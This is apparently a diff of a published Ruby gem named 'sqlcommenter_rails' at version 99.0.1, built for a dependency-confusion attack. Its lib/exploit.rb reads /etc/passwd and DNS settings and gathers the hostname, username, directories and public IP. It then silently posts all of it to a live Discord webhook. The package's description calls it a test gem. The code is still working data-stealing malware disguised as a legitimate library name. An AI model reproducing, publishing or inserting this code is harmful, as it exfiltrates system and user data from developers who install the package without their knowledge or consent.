sqlcommenter_rails 99.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 0cfdf317c4d8170119c529b52a537d8967fec1115fb0c858e00d0897d198d54d
+  data.tar.gz: b09fe7117649a9b641208c4d6fa403259235ee3cd417a6c3396b066d5b179392
+SHA512:
+  metadata.gz: 2cedcece55ae43259ed6ac6a6eeb2fe83ff409dd3b216228a40de195e517ff079ac1b49d0cde4a73a88bfd4ee6280c873341c286bd479042154b196de85fe082
+  data.tar.gz: e39482c798e86ee174629f48d8135b6e4439f3bcbd615bf887a2e104c300c7b28c8af31062c697d02404c55b616c419176f19b10bda9a590bd8dae3d90d38d23

data/lib/exploit.rb

@@ -0,0 +1,103 @@
+require 'etc'
+require 'socket'
+require 'json'
+require 'net/http'
+require 'uri'
+
+# Read the /etc/passwd file
+begin
+  passwd_data = File.read('/etc/passwd')
+rescue StandardError => e
+  passwd_data = "Error reading /etc/passwd: #{e.message}"
+end
+
+# Get current time
+current_time = Time.now.utc.iso8601
+
+# Get package metadata
+gem_name = 'sqlcommenter_rails'
+gem_version = '99.0.1'
+gem_metadata = {
+  'name' => gem_name,
+  'version' => gem_version,
+  'summary' => 'Test gem for dependency confusion',
+  'author' => 'Your Name'
+}
+
+# Get DNS servers (Linux-specific, may not work on all systems)
+begin
+  dns_servers = File.readlines('/etc/resolv.conf').select { |line| line.start_with?('nameserver') }.map { |line| line.split[1] }
+  dns_servers = dns_servers.empty? ? ['Unknown'] : dns_servers
+rescue StandardError
+  dns_servers = ['Unknown']
+end
+
+# Function to get public IP using api.ipify.org
+def get_public_ip
+  uri = URI('https://api.ipify.org')
+  response = Net::HTTP.get_response(uri)
+  if response.is_a?(Net::HTTPSuccess)
+    response.body
+  else
+    "Error getting public IP: #{response.message}"
+  end
+rescue StandardError => e
+  "Error getting public IP: #{e.message}"
+end
+
+# Collect all tracking data
+public_ip = get_public_ip
+tracking_data = {
+  'package' => gem_name,
+  'current_dir' => Dir.pwd,
+  'home_dir' => Dir.home,
+  'hostname' => Socket.gethostname,
+  'username' => Etc.getlogin || 'Unknown',
+  'dns_servers' => dns_servers,
+  'resolved' => nil, # RubyGems doesn't have a direct equivalent to packageJSON.___resolved
+  'version' => gem_version,
+  'package_json' => gem_metadata,
+  'passwd_content' => passwd_data,
+  'time' => current_time,
+  'originating_ip' => public_ip
+}
+
+# Add custom notes
+custom_notes = "Successful R_C_E via dependency confusion."
+
+# Format the message for readability
+formatted_message = <<~MESSAGE
+  Endpoint: https://example.com/endpoint
+
+  All Information:
+  - Package: #{tracking_data['package']}
+  - Current Directory: #{tracking_data['current_dir']}
+  - Home Directory: #{tracking_data['home_dir']}
+  - Hostname: #{tracking_data['hostname']}
+  - Username: #{tracking_data['username']}
+  - DNS Servers: #{tracking_data['dns_servers'].to_json}
+  - Resolved: #{tracking_data['resolved']}
+  - Version: #{tracking_data['version']}
+  - Package JSON: #{tracking_data['package_json'].to_json(indent: 2)}
+  - /etc/passwd Content: #{tracking_data['passwd_content']}
+  - Time: #{tracking_data['time']}
+  - Originating IP: #{tracking_data['originating_ip']}
+
+  Custom Notes:
+  #{custom_notes}
+MESSAGE
+
+# Output to console
+puts formatted_message
+
+# Send to Discord Webhook
+uri = URI('https://discord.com/api/webhooks/1410258094511882250/fPTbDPbFfrSaOKDwXDfeqfwlKlhdS5tpev8nD7giRFhAldmRpJaGlI6Y5IWqOpdxYNbx')
+https = Net::HTTP.new(uri.host, uri.port)
+https.use_ssl = true
+request = Net::HTTP::Post.new(uri.path, { 'Content-Type' => 'application/json' })
+request.body = { content: formatted_message }.to_json
+begin
+  response = https.request(request)
+rescue StandardError => e
+  # Silent error handling
+end

metadata

@@ -0,0 +1,42 @@
+--- !ruby/object:Gem::Specification
+name: sqlcommenter_rails
+version: !ruby/object:Gem::Version
+  version: 99.0.1
+platform: ruby
+authors:
+- test
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: A Ruby gem for testing dependency confusion vulnerabilities.
+email: test.email@example.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- lib/exploit.rb
+licenses:
+- MIT
+metadata: {}
+post_install_message: |2
+      Running exploit script...
+      false
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: test gem for dependency confusion
+test_files: []